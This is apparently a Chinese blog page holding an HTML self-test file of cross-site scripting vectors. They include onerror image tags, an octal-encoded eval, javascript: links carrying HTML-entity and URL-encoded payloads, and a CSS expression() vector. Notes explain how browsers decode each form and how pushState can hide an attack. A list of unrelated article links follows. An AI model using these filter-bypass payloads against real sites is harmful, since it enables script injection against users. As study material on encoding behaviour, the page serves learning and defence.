<html>
<head>
<script>
//function(<text>a{[]}lert('x')</text>)()
document.write(' &lt;img src=@ onerror=alert(123) /&gt; '); //说明直接在<script>标签 不会解码HtmlEncode
eval("\141\154\145\162\164\50\47\61\47\51"); //转换为16进制或8进制
</script>
</head> <body>
<pre>
<a href="javascript:alert(1)=html">click me1</a> <a href="javascript:document.write(' &lt;img src=@ onerror=alert(123) /&gt; ');">click me2</a> 说明JS对HtmlEncode进行解码 <a href="javascript:document.write(' <img src=@ onerror=alert(123) /> ');">click me3</a> <a href="javascript:document.write(' %3C%69%6D%67%20%73%72%63%3D%40%20%6F%6E%65%72%72%6F%72%3D%61%6C%65%72%74%28%31%32%33%29%20%2F%3E ');">click me4</a> <a href="javascript:document.write(' %26%6C%74%3B%69%6D%67%20%73%72%63%3D%40%20%6F%6E%65%72%72%6F%72%3D%61%6C%65%72%74%28%31%32%33%29%20%2F%26%67%74%3B ');">click me5</a> 4,5对比,说明JS对unicode, 十六进制,十进制,URL解码 只会解码一次。 <XsS style="xssb:expression(alert('XsSb'))">由于某些浏览器对XHTML支持,可以插入svg代码,XML代码。 111<!-- 222 <!-- 333 --> 444-->555 对于注释的闭合,绕过 HTML5中的history的pushState 和 replaceState 无刷新替换URL中链接, 再结合短链接, XSS攻击过程无任何察觉。
</pre>
</body>
</html>

自测 基础 js 脚本。的更多相关文章

  1. 原生基础js脚本实现--在线答题系统

    全部代码在最下面----需要的直接往下翻 html方面的代码  : 正确的答案 value=s <!DOCTYPE html> <html lang="en"&g ...

  2. 关于JS脚本语言的基础语法

    JS脚本语言的基础语法:输出语法  alert("警告!");  confirm("确定吗?");   prompt("请输入密码");为弱 ...

  3. 样式其他与JS脚本语言

    样式其他:display(显示block和隐藏none,不占位置)  visibility(显示visible和隐藏hidden,占位置)  overflow(超出范围 hidden隐藏) 透明(op ...

  4. JS脚本动态给元素/控件添加事件

    最近突然要用到JS脚本动态给元素添加事件.如TextBox的onclick事件.但有的onclick事件原先已经定义了相应代码!这里又不能替代原有方法,而JS脚本里面有个方法可以给控件在原有事件的基础 ...

  5. kettle学习笔记(十)——数据检验、统计、分区与JS脚本

    一.概述 数据剖析和数据检验: 用于数据的检查.清洗 . 统计步骤: 提供数据采样和统计的功能 分区: 根据数据里某个字段的值,拆分成多个数据块.输出到不同的库表和文件中. 脚本: Javascrip ...

  6. Firebug中调试中的js脚本中中文内容显示为乱码

    Firebug中调试中的js脚本中中文内容显示为乱码 设置 页面 UFT-8 编码没用, 解决方法:点击 "Firebug"工具栏 中的"选项"---" ...

  7. 通过easyui tab添加的子页面JS脚本必须放在body才生效

    通过easyui tab添加的子页面JS脚本必须放在body才生效 可通过Chrome查看元素时,head标签是否含有你自己写的JS代码

  8. AngularJs中,如何在render完成之后,执行Js脚本

    AngularJs是Google开源的前端JS框架.使用AngularJs, 我们能够容易地.健壮的开发出类似于Gmail一样的单页Web应用.AngularJs这个新兴的MVC前端框架,具有以下特点 ...

  9. JS脚本

    js脚本是嵌在网页里打出的一块区域,一般写在最下端 script   脚本 //      这是单行注释的一种语法 /**/  这是多行注释的一种语法 存储内容的东西叫变量 数据类型的有: 1  整型 ...

随机推荐

  1. ThinkPHP3.2.3:使用模块映射隐藏后台真实访问地址

    例如:项目应用目录/Application下模块如下,默认后台模块为Admin 现在需要修改后台模块的访问地址,以防被别有用心的人很容易就猜到,然后各种乱搞... (在公共配置文件/Applicati ...

  2. cyclone IV中DDR的一个报错{Too many output and bidirectional pins per VCCIO and ground pair in I/O bank 8 }

    Error (169224): Too many output and bidirectional pins per VCCIO and ground pair in I/O bank 8 when ...

  3. mybatis-generator扩展教程系列 -- 自定义generatorConfig.xml参数

    http://blog.csdn.net/shadowsick/article/details/53413235

  4. JVM、JRE,JDK

    JVM解释class     Java虚拟机,解释编译后的class文件给系统..java代码编译成 .class机器指令,就能在JVM运行了,直接到硬件执行,实现了跨平台,只要操作系统安装了JVM, ...

  5. Lombok自定义annotation扩展含Intellij插件

    Lombok简介 Lombok(https://projectlombok.org/)  提供了以注解的形式为java对象增加属性和方法,这使得原来冗长的java源文件变的简洁(不需要再使用ide去生 ...

  6. iOS中的序列帧动画

    UIImageView对象的有一个animationImages属性,将图片数组赋值给该属性即可.如图: 控制动画的播放方法是:[ ___  startAnimating]; 控制动画的停止方法是:[ ...

  7. 转:spring的启动过程-spring和springMVC父子容器的原理

    要想很好理解这三个上下文的关系,需要先熟悉spring是怎样在web容器中启动起来的.spring的启动过程其实就是其IoC容器的启动过程,对于web程序,IoC容器启动过程即是建立上下文的过程. s ...

  8. [HTML5]如何使用移动设备的方向定位器

    HTML5 Rocks Show navigation Table of Contents Home Tutorials Updates Table of Contents Introduction ...

  9. http://vjudge.net/contest/view.action?cid=51142#problem/C 精度转换的一道题。。。

    C - Get-Together at Den's Time Limit:1000MS     Memory Limit:65536KB     64bit IO Format:%I64d & ...

  10. delphi 窗体自适应屏幕分辨率

    delphi 窗体自适应屏幕分辨率 这是个困惑我很长时间的问题,到今天终于得到解决了. 话说Delphi有个很强的窗体设计器,这一点让VC粉丝垂涎三尺而不可得.但是,Delphi里设计的窗体并没有自动 ...